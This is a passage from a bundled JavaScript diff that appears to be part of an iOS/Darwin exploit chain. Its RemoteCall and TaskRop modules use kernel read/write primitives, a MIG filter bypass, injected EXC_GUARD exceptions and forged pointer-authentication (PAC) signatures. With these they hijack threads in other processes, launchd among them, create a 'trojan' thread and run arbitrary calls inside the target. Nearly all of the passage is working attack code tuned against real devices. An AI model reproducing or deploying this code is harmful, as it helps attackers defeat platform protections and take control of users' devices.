${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(buff64[i]).padStart(16, '0')}`); + } + + static #dumpEntry(entryAddr) { + console.log(TAG, "dump entry: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(entryAddr)); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read(entryAddr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 24); + let buff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 24); + let buff64 = new BigUint64Array(buff); + for (let i=0; i<3; i++) + console.log(TAG, `${i}: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(buff64[i]).padStart(16, '0')}`); + } +} + + +/***/ }), + +/***/ "./src/libs/TaskRop/RegistersStruct.js": +/*!*********************************************!*\ + !*** ./src/libs/TaskRop/RegistersStruct.js ***! + \*********************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ RegistersStruct) +/* harmony export */ }); +const TAG = "REGISTERSSTRUCT" + +class RegistersStruct +{ + #dataView; + + constructor(buffer, offset = 0, length = 29) { + this.#dataView = new DataView(buffer,offset, length * 8); + this.length = length; + } + + get(index) { + if (index >= this.length || index < 0) { + console.log(TAG,`Got wrong index in get:${index}`); + return; + } + return this.#dataView.getBigUint64(index * 8, true); // true for little-endian + } + + set(index, value) { + if (index >= this.length || index < 0) { + console.log(TAG,`Got wrong index in set`); + return; + } + this.#dataView.setBigUint64(index * 8, BigInt(value), true); // true for little-endian + } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/RemoteCall.js": +/*!****************************************!*\ + !*** ./src/libs/TaskRop/RemoteCall.js ***! + \****************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ RemoteCall) +/* harmony export */ }); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); +/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js"); +/* harmony import */ var _Thread__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./Thread */ "./src/libs/TaskRop/Thread.js"); +/* harmony import */ var _Exception__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./Exception */ "./src/libs/TaskRop/Exception.js"); +/* harmony import */ var _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./ExceptionMessageStruct */ "./src/libs/TaskRop/ExceptionMessageStruct.js"); +/* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./ThreadState */ "./src/libs/TaskRop/ThreadState.js"); +/* harmony import */ var _PAC__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ./PAC */ "./src/libs/TaskRop/PAC.js"); +/* harmony import */ var _VM__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./VM */ "./src/libs/TaskRop/VM.js"); +/* harmony import */ var _VMShmem__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! ./VMShmem */ "./src/libs/TaskRop/VMShmem.js"); +/* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_11__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js"); +/* harmony import */ var _PortRightInserter__WEBPACK_IMPORTED_MODULE_12__ = __webpack_require__(/*! ./PortRightInserter */ "./src/libs/TaskRop/PortRightInserter.js"); + + +//import ExceptionThreadJS17 from '!raw-loader!./ExceptionThread17.js' +//import ExceptionThreadJS18 from '!raw-loader!./ExceptionThread18.js' + +//import Offsets from "Driver/Offsets"; + +const TAG = "REMOTECALL" +const GUARD_TYPE_MACH_PORT = 0x1n; +const kGUARD_EXC_INVALID_RIGHT = BigInt(1 << 8); +const SWITCH_OPTION_NONE = 0n; +const fakePCTrojanCreator = 0x101n; +const fakeLRTrojanCreator = 0x201n; +const fakePCTrojan = 0x301n; +const fakeLRTrojan = 0x401n; +const __DARWIN_ARM_THREAD_STATE64_USER_DIVERSIFIER_MASK = 0xff000000n; +const __DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR = 0x2; +const __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC = 0x4; +const __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR = 0x8; +const SHMEM_CACHE_SIZE = 100; +const MAP_PRIVATE = 0x0002n; +const MAP_ANON = 0x1000n; + +class RemoteCall +{ + #taskAddr; + #creatingExtraThread; + #firstExceptionPort; + #secondExceptionPort; + #firstExceptionPortAddr; + #secondExceptionPortAddr; + #dummyThread; + #dummyThreadMach; + #dummyThreadAddr; + #dummyThreadTro; + #selfThreadAddr; + #selfThreadCtid; + #trojanThreadAddr; + #callThreadAddr; + #originalState; + #vmMap; + #trojanMem; + #localPort; + #remotePort; + #shmemCache = new Array(SHMEM_CACHE_SIZE); + //#exceptionThreadCFString; + #success = false; + #threadList = []; + #krwControlFd; + #krwRwFd; + #pid; + + constructor(param, migFilterBypass=null) + { + const peMark = (code, detail) => { + try { + if (typeof globalThis !== "undefined" && typeof globalThis.__pe_mark === "function") + globalThis.__pe_mark(code, detail); + } catch (_) {} + }; + // launchd (pid 1 / name): prefer fewer EXC_GUARD targets — dual inject races KRW+mig and panics this DUT. + let isLaunchd = (typeof param === "string" && param === "launchd") || + param === 1 || param === 1n || Number(param) === 1; + let needInject = isLaunchd ? 1 : 2; + + if(typeof(param) == "string") + { + console.log(TAG,`Getting task by name: ${param}`); + this.#taskAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getTaskAddrByName(param); + } + else + { + console.log(TAG,`Getting task by pid: ${param}`); + this.#taskAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getTaskAddrByPID(param); + this.#pid = param; + } + + if(!this.#taskAddr) + { + console.log(TAG,`Cannot get taskAddr, returning`); + try { globalThis.__peRemoteFail = 0x491; } catch (_) {} + return null; + } + peMark(0x34n); + + let firstExceptionPort = _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].createPort(); + let secondExceptionPort = _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].createPort(); + + if (!firstExceptionPort || !secondExceptionPort) + { + console.log(TAG,`Couldn't create exception ports`); + try { globalThis.__peRemoteFail = 0x492; } catch (_) {} + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203n, firstExceptionPort, 0n, 0n); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203n, secondExceptionPort, 0n, 0n); + return null; + } + // Make sure the task won't crash after we handle an exception + _Task__WEBPACK_IMPORTED_MODULE_3__["default"].disableExcGuardKill(this.#taskAddr); + peMark(0x35n); + + let guardCode = 0n; + guardCode = this.#EXC_GUARD_ENCODE_TYPE(guardCode, GUARD_TYPE_MACH_PORT); + guardCode = this.#EXC_GUARD_ENCODE_FLAVOR(guardCode, kGUARD_EXC_INVALID_RIGHT); + guardCode = this.#EXC_GUARD_ENCODE_TARGET(guardCode, 0xf503n); + let firstPortAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortAddr(firstExceptionPort); + let secondPortAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortAddr(secondExceptionPort); + + let dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + let dummyFunc = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("getpid"); + + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np",dummyThread, null, dummyFunc, null); + dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(dummyThread); + let dummyThreadMach = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np",dummyThread)); + let dummyThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(dummyThreadMach); + let dummyThreadTro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(dummyThreadAddr); + let threadSelf = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_thread_self")); + let selfThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(threadSelf); + let selfThreadCtid = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getCtid(selfThreadAddr); + + this.#creatingExtraThread = true; + this.#firstExceptionPort = firstExceptionPort; + this.#secondExceptionPort = secondExceptionPort; + this.#firstExceptionPortAddr = firstPortAddr; + this.#secondExceptionPortAddr = secondPortAddr; + this.#dummyThread = dummyThread; + this.#dummyThreadMach = dummyThreadMach; + this.#dummyThreadAddr = dummyThreadAddr; + this.#dummyThreadTro = dummyThreadTro; + this.#selfThreadAddr = selfThreadAddr; + this.#selfThreadCtid = selfThreadCtid; + let retryCount = 0; + let validThreadCount = 0; + let successThreadCount = 0; + let firstThread = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].firstThread(this.#taskAddr); + let currThread = firstThread; + + this.#trojanThreadAddr = firstThread; + + peMark(0x36n); + if (migFilterBypass) + migFilterBypass.resume(); + + let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + let gotFirstExc = false; + + // launchd: inject thread0 only. Dual-inject + re-arm AST reboots PID1 on sensitive DUTs. + while ( true && successThreadCount < needInject && validThreadCount < 5 && retryCount < 3) + { + let task = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTask(currThread); + if (!task) + { + if (!validThreadCount) + { + console.log(TAG, `failed on getting first thread at all, resetting first thread and currThread`); + firstThread = currThread = this.#retryFirstThread(migFilterBypass); + retryCount++; + continue; + } + else + break; + } + if (task == this.#taskAddr) + { + if (!this.#setExceptionPortOnThread(this.#firstExceptionPort, currThread, migFilterBypass)) + { + console.log(TAG, `Set exception port on thread:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(currThread)} failed, not injecting`); + if (!validThreadCount) + { + console.log(TAG, `failed on first thread, resetting first thread and currThread`); + firstThread = currThread = this.#retryFirstThread(migFilterBypass); + retryCount++; + continue; + } + } + else + { + // Pause mig during raw KRW AST write — concurrent socket KRW with mig thread panics. + if (migFilterBypass) + migFilterBypass.pause(); + let injOk = false; + try { + injOk = !!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].injectGuardException(currThread, guardCode); + } finally { + if (migFilterBypass) + migFilterBypass.resume(); + } + if (!injOk) + { + console.log(TAG,`Inject EXC_GUARD on thread:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(currThread)} failed, not injecting`); + if (!validThreadCount) + { + console.log(TAG, `failed on first thread, resetting first thread and currThread`); + firstThread = currThread = this.#retryFirstThread(migFilterBypass); + retryCount++; + continue; + } + } + else + { + successThreadCount++; + this.#threadList.push(currThread); + console.log(TAG, `Inject EXC_GUARD on thread:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(currThread)} OK`); + } + } + validThreadCount++; + } + else if (task && !validThreadCount) + { + console.log(TAG,`Got weird tro on first thread, resetting first thread and currThread`); + firstThread = currThread = this.#retryFirstThread(migFilterBypass); + retryCount++; + continue; + } + + let next = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].next(currThread); + if (!next) + { + if (!validThreadCount) { + console.log(TAG, `Got empty next thread on first thread. Retry`); + firstThread = currThread = this.#retryFirstThread(migFilterBypass); + retryCount++; + continue; + } + else { + console.log(TAG, "Break because of empty next thread"); + break; + } + } + currThread = next; + } + + if (migFilterBypass) + migFilterBypass.pause(); + + console.log(TAG, `Valid threads: ${validThreadCount}`); + console.log(TAG, `Injected threads: ${successThreadCount}`); + + if (!this.#threadList.length) { + console.log(TAG, "Exception injection failed. Aborting."); + try { globalThis.__peRemoteFail = 0x493; } catch (_) {} + this.destroy(); + return null; + } + + // Yield once so PID1 can run; do NOT re-arm AST on launchd (re-inject reboots). + try { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 150000); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("thread_switch", 0, 0, 0); + } catch (_) {} + + if (isLaunchd) { + const LAUNCHD_SLICE_MS = 3000; + const LAUNCHD_SLICES = 20; + console.log(TAG, `launchd: wait first EXC on thread0 (${LAUNCHD_SLICES}x${LAUNCHD_SLICE_MS}ms, no re-inject)`); + for (let waitTry = 0; waitTry < LAUNCHD_SLICES; waitTry++) { + try { peMark(0x37n, BigInt(waitTry + 1)); } catch (_) {} + if (_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, excBuffer, LAUNCHD_SLICE_MS, false)) { + gotFirstExc = true; + console.log(TAG, `launchd EXC hit slice ${waitTry + 1}`); + break; + } + try { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("thread_switch", 0, 0, 0); } catch (_) {} + } + } else { + peMark(0x37n); + gotFirstExc = !!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort,excBuffer,120000,false); + } + if (!gotFirstExc) + { + console.log(TAG, `Failed to receive first exception`); + try { globalThis.__peRemoteFail = 0x494; } catch (_) {} + try { + for (let i = 0; i < this.#threadList.length; i++) + _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].clearGuardException(this.#threadList[i]); + } catch (_) {} + this.destroy(); + return null; + } + peMark(0x38n); + + let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); + let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); + let originalStateBuff = new ArrayBuffer(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64_SIZE); + this.#originalState = new _ThreadState__WEBPACK_IMPORTED_MODULE_7__["default"](originalStateBuff); + for(let i = 0; i < 29; i++) + { + this.#originalState.registers.set(i,exc.threadState.registers.get(i)); + } + this.#originalState.opaque_fp = exc.threadState.opaque_fp; + this.#originalState.opaque_lr = exc.threadState.opaque_lr; + this.#originalState.opaque_sp = exc.threadState.opaque_sp; + this.#originalState.opaque_pc = exc.threadState.opaque_pc; + this.#originalState.cspr = exc.threadState.cspr; + this.#originalState.opaque_flags = exc.threadState.opaque_flags; + + for(let i = 0; i < this.#threadList.length;i++) + { + _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].clearGuardException(this.#threadList[i]); + } + console.log(TAG,`Finish clearing EXC_GUARD from all other threads...`); + peMark(0x39n); + // Launchd: never flush/reply stray exceptions — resumes unrelated PID1 threads and reboots. + if (!isLaunchd) { + let desiredTimeout = 1500; + while (true) + { + let flushBuf = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, flushBuf, desiredTimeout, false)) + break; + let flushed = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(flushBuf,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize))); + _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(flushed, flushed.threadState,false); + } + } + peMark(0x3An); + if (this.#threadList.length) + firstThread = this.#trojanThreadAddr = this.#threadList[0]; + try { + _Task__WEBPACK_IMPORTED_MODULE_3__["default"].disableExcGuardKill(this.#taskAddr); + } catch (_) {} + let newState = exc.threadState; + newState = this.#signState(firstThread, newState, fakePCTrojanCreator, fakeLRTrojanCreator); + _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false); + peMark(0x3Bn); + + let trojanMemTemp = (exc.threadState.opaque_sp & 0x7fffffffffn) - 0x100n; + + this.#vmMap = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getMap(this.#taskAddr); + + // launchd: skip second-thread promote. setExceptionPort TRO-swap + thread_resume on PID1 reboots. + if (isLaunchd) { + this.#creatingExtraThread = false; + peMark(0x3Cn, 0x1n); + console.log(TAG, `launchd: skip extra trojan thread — stay on temp RemoteCall`); + this.#pid = this.#doRemoteCallTemp(100, "getpid"); + console.log(TAG, `Task pid: ${this.#pid}`); + peMark(0x3Dn, BigInt(this.#pid || 0)); + if (Number(this.#pid) !== 1) { + console.log(TAG, `launchd temp getpid unexpected: ${this.#pid}`); + try { globalThis.__peRemoteFail = 0x495; } catch (_) {} + this.destroy(); + return null; + } + peMark(0x3En, 0x1n); + this.#trojanMem = this.#doRemoteCallTemp(1000, "mmap", 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE, _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_READ | _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1n); + peMark(0x3En, 0x2n); + if (!this.#trojanMem || this.#trojanMem === 0n || this.#trojanMem === -1n || this.#trojanMem === 0xffffffffffffffffn) { + console.log(TAG, `launchd temp mmap failed: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(this.#trojanMem)}`); + try { globalThis.__peRemoteFail = 0x496; } catch (_) {} + this.destroy(); + return null; + } + this.#doRemoteCallTemp(100, "memset", this.#trojanMem, 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE); + peMark(0x3En, 0x3n); + this.#success = true; + console.log(TAG, `Finished for now succesfully (launchd temp path)`); + return; + } + + let remoteCrashSigned = _PAC__WEBPACK_IMPORTED_MODULE_8__["default"].remotePAC(this.#trojanThreadAddr, fakePCTrojan, 0n); + + let ret = this.#doRemoteCallTemp(100, "pthread_create_suspended_np", trojanMemTemp, 0n, remoteCrashSigned); + + let pthreadAddr = this.read64(BigInt(trojanMemTemp)); + + let callThreadPort = this.#doRemoteCallTemp(100, "pthread_mach_thread_np", pthreadAddr); + + if (callThreadPort == 0n) + { + console.log(TAG,`Cannot find callThreadPort`); + this.destroy(); + return null; + } + this.#callThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObjectOfTask(this.#taskAddr, BigInt(callThreadPort)); + + if (migFilterBypass) + migFilterBypass.resume(); + + if (!this.#setExceptionPortOnThread(this.#secondExceptionPort, this.#callThreadAddr, migFilterBypass)) + { + console.log(TAG,`Failed to set new exception port on newly created thread, trying one more time before giving up, creating new thread`); + dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np",dummyThread, null, dummyFunc, null); + dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(dummyThread); + this.#dummyThreadMach = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np",dummyThread)); + this.#dummyThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(this.#dummyThreadMach); + this.#dummyThreadTro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(this.#dummyThreadAddr); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("sleep",1n); + if (!this.#setExceptionPortOnThread(this.#secondExceptionPort, this.#callThreadAddr, migFilterBypass)) + { + if (migFilterBypass) + migFilterBypass.pause(); + this.destroy(); + return null; + } + } + + if (migFilterBypass) + migFilterBypass.pause(); + + console.log(TAG,`All good so far! Now we resume trojan thread...`); + + ret = this.#doRemoteCallTemp(100, "thread_resume", callThreadPort); + if (ret !== 0n) + { + console.log(TAG,`Couldn't resume newly created thread, falling back to use original one only`); + this.#creatingExtraThread = false; + } + + if (this.#creatingExtraThread) + { + console.log(TAG,`New thread created succesfully, resuming original`); + this.#restoreTrojanThread(this.#originalState); + } + console.log(TAG, `Original thread restored succesfully`); + + this.#pid = this.#doRemoteCallStable(100, "getpid"); + console.log(TAG, `Task pid: ${this.#pid}`); + + this.#trojanMem = this.#doRemoteCallStable(1000,"mmap", 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE, _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_READ | _VM__WEBPACK_IMPORTED_MODULE_9__["default"].VM_PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1n); + + this.#doRemoteCallStable(100,"memset",this.#trojanMem, 0n, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE); + + this.#success = true; + + console.log(TAG,`Finished for now succesfully`); + } + success() { + return this.#success; + } + + krwCtx() { + return { + controlFd: this.#krwControlFd, + rwFd: this.#krwRwFd + }; + } + + pid() { + return this.#pid; + } + + #testRWPrim() + { + console.log(TAG,`Testing RW prim`); + let arr = new ArrayBuffer(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); + let arrView = new DataView(arr); + arrView.setBigUint64(0,0x41414141n,true); + let memBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(memBuff,arr); + this.write(BigInt(this.#trojanMem),memBuff,BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE)); + memBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x100n; + this.read(BigInt(this.#trojanMem),memBuff,BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE)); + let resBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(memBuff,libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); + let resView = new DataView(resBuff); + let result = resView.getBigUint64(0,true); + console.log(TAG,`Got result from Buffer of:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(result)}`); + } + + #retryFirstThread(migFilterBypass) { + if (migFilterBypass) + migFilterBypass.pause(); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("sleep", 1n); + if (migFilterBypass) + migFilterBypass.resume(); + return _Task__WEBPACK_IMPORTED_MODULE_3__["default"].firstThread(this.#taskAddr); + } + + #signState(SigningThread,state,pc,lr) + { + //console.log(TAG,`state.opaque_flags:${Utils.hex(state.opaque_flags)}`); + let diver = BigInt(state.opaque_flags) & __DARWIN_ARM_THREAD_STATE64_USER_DIVERSIFIER_MASK; + //console.log(TAG,`diver after:${Utils.hex(diver)}`); + let discPC = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_blend_discriminator(BigInt(diver), libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator_special("pc")); + let discLR = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_blend_discriminator(BigInt(diver), libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator_special("lr")); + //console.log(TAG,`discPC:${Utils.hex(discPC)}`); + //console.log(TAG,`discLR:${Utils.hex(discLR)}`); + /* C wrapper for ptrauth utils + discPC = Native.callSymbol("wrapper_ptrauth_blend_discriminator",BigInt(diver),Utils.ptrauth_string_discriminator("pc")); + discLR = Native.callSymbol("wrapper_ptrauth_blend_discriminator",BigInt(diver), Utils.ptrauth_string_discriminator("lr")); + console.log(TAG,`discPC after:${Utils.hex(discPC)}`); + console.log(TAG,`discLR after:${Utils.hex(discLR)}`); + */ + if (pc) + { + state.opaque_flags &= ~(__DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC); + state.opaque_pc = _PAC__WEBPACK_IMPORTED_MODULE_8__["default"].remotePAC(SigningThread, pc, discPC); + } + if (lr) + { + state.opaque_flags &= ~( + __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR | + __DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR); + state.opaque_lr = _PAC__WEBPACK_IMPORTED_MODULE_8__["default"].remotePAC(SigningThread, lr, discLR); + } + return state; + } + + #setExceptionPortOnThread(exceptionPort, currThread, migFilterBypass=null) + { + let success = false; + + let thread_set_exception_ports_addr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("thread_set_exception_ports"); + let pthread_exit_addr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym("pthread_exit"); + + //console.log(TAG, "pc: " + Utils.hex(thread_set_exception_ports_addr)); + //console.log(TAG, "pc signed: " + Utils.hex(Native.pacia(thread_set_exception_ports_addr, Utils.ptrauth_string_discriminator("pc")))); + //console.log(TAG, "pc signed 0: " + Utils.hex(Native.pacia(thread_set_exception_ports_addr, 0))); + + //let stackMem = Native.callSymbol("malloc", 0x8000); + //let thread_set_exception_ports_addr = Native.dlsym("_exit"); + //let stateBuff = new ArrayBuffer(Utils.ARM_THREAD_STATE64_SIZE); + //let state = new ThreadState(stateBuff); + + //let kr = Native.callSymbol("thread_create_running", 0x203, Utils.ARM_THREAD_STATE64, statePtr, Utils.ARM_THREAD_STATE64_COUNT, machThreadPtr); + + let pthreadPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np", pthreadPtr, 0, thread_set_exception_ports_addr, 0); + let pthread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(pthreadPtr); + //console.log(TAG, "pthread: " + Utils.hex(pthread)); + + let machThread = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np", pthread)); + let machThreadAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortKObject(machThread); + //console.log(TAG, `machThread:${Utils.hex(machThread)} machThreadAddr:${Utils.hex(machThreadAddr)}`); + + if (migFilterBypass) + migFilterBypass.monitorThreads(this.#selfThreadAddr, machThreadAddr); + + let state = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getState(machThread); + if (!state) { + console.log(TAG, "Unable to read thread state"); + return false; + } + + //console.log(TAG, "thread_get_state OK"); + + state.opaque_pc = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].pacia(thread_set_exception_ports_addr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator("pc")); + state.opaque_lr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].pacia(pthread_exit_addr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ptrauth_string_discriminator("lr")); + //state.opaque_sp = stackMem + 0x4000n; + state.registers.set(0, this.#dummyThreadMach); + state.registers.set(1, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXC_MASK_GUARD | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXC_MASK_BAD_ACCESS); + state.registers.set(2, exceptionPort); + state.registers.set(3, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXCEPTION_STATE | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MACH_EXCEPTION_CODES); + state.registers.set(4, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64); + + //console.log(TAG, "pc: " + Utils.hex(state.opaque_pc)); + //console.log(TAG, "lr: " + Utils.hex(state.opaque_lr)); + //console.log(TAG, "sp: " + Utils.hex(state.opaque_sp)); + //console.log(TAG, "x0: " + Utils.hex(state.registers.get(0))); + //console.log(TAG, "x1: " + Utils.hex(state.registers.get(1))); + //console.log(TAG, "x2: " + Utils.hex(state.registers.get(2))); + //console.log(TAG, "x3: " + Utils.hex(state.registers.get(3))); + //console.log(TAG, "x4: " + Utils.hex(state.registers.get(4))); + + if (migFilterBypass) + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 100000); + + if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setState(machThread, machThreadAddr, state)) + return false; + + //console.log(TAG, "Thread.setState() OK"); + + if (migFilterBypass) + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 100000); + + 